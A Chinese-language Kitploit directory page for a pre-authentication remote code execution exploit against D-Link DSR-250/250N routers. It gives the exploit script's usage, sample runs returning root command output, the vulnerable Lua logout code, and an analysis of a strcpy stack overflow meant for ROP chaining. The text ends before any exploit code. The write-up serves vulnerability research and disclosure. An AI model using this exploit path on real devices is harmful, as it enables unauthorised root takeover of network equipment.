Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-57376 — CVE-2024-57376 漏洞利用 | Kitploit
工具/GitHubGitHub/delspon/cve-2024-57376
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具二进制利用
GitHubdelspon/cve-2024-57376

CVE-2024-57376

CVE-2024-57376 漏洞利用

查看仓库
11281年前尚未审核
分享

CVE-2024-57376

Pre-auth 远程代码执行漏洞,针对 D-Link DSR-250 和 DSR-250N

安全公告:https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415

用法

$ python3 exploit.py   
usage: <host> <port> <command>

示例

$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
    device: DSR-250N
    year  : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server

uid=0(root) gid=0(root)
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
    device: DSR-250N
    year  : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server

3.17B901C_WW

漏洞

栈缓冲区溢出

这是 duaCP.logout 函数的代码,该函数在注销(logout)时被调用。

function duaCP.logout (cgiparams)
    local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor, 
           ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl, 
           returnLogoutUrl, notifyUrl, sessionRandom, hash, token

    local request = ""

    extCpResult       = cgiparams.externalCpResult
    clientMac         = cgiparams.clientMac
    clientIp          = cgiparams.clientIp
    authenticatorIp   = cgiparams.authenticatorIp
    apMac             = cgiparams.apMac
    apIp              = cgiparams.apIp
    vendor            = cgiparams.vendor
    ssid              = cgiparams.ssid
    deviceType        = cgiparams.deviceType
    vlan              = cgiparams.vlan
    pageId            = cgiparams.pageIndex
    returnUrl         = cgiparams.returnUrl
    authSuccessUrl    = cgiparams.authenticationSuccessUrl
    returnLogoutUrl   = cgiparams.returnLogoutUrl
    notifyUrl         = cgiparams.notifyUrl
    sessionRandom     = cgiparams.sessionRandom
    hash              = cgiparams.hash
    token             = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")

  
    local status, reason

  reason = "success"
    -- validate hash first
    if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
        -- respond to DUA with failure result so that user will be shown login
        -- page
        reason = "failure"
    end
    
    status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
    
    if (status == "ERROR") then
        reason = "failure"
    end
    
    -- redirect to DUA
    duaCP.logoutProcess (cgiparams, reason, token)
  
end

它调用:

  1. hashValidate
  2. duaCP.parse_logoutInfo
  3. duaCP.logoutProcess

通向漏洞代码的路径是 duaCP.parse_logoutInfo。它使用 extCpResult(用户输入)作为参数。

以下是 duaCP.parse_logoutInfo 的代码。

function duaCP.parse_logoutInfo (extCpResult)
    local status       = "OK"

  -- process the extCpResult
  status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)

  if (status == "1" or tonumber (status) == 1) then
      return "ERROR"
  end

  clientMac = clientMac:gsub("%-", "%:")
    
    return status, clientMac, clientIp

end

它调用了 captivePortalLib.duaLogoutInfoGet,并直接将 extCpResult 作为参数传入。其代码定义在共享库 captivePortalLib.so 中。

lua_tolstring 返回 extCpResult 的字符串指针,然后调用 strcpy,其中以一个局部变量作为参数。这明显是一个栈缓冲区溢出。接下来,我们需要串联 ROP gadget。

由于漏洞是由 strcpy 触发的,存在一些限制:我们不能包含 NULL 字节。

以下是内存映射:

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    951
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    683
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    427
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    392
  • 5

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    344
  • 6

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    336

探索所有工具

浏览我们的工具集合

查看所有工具 →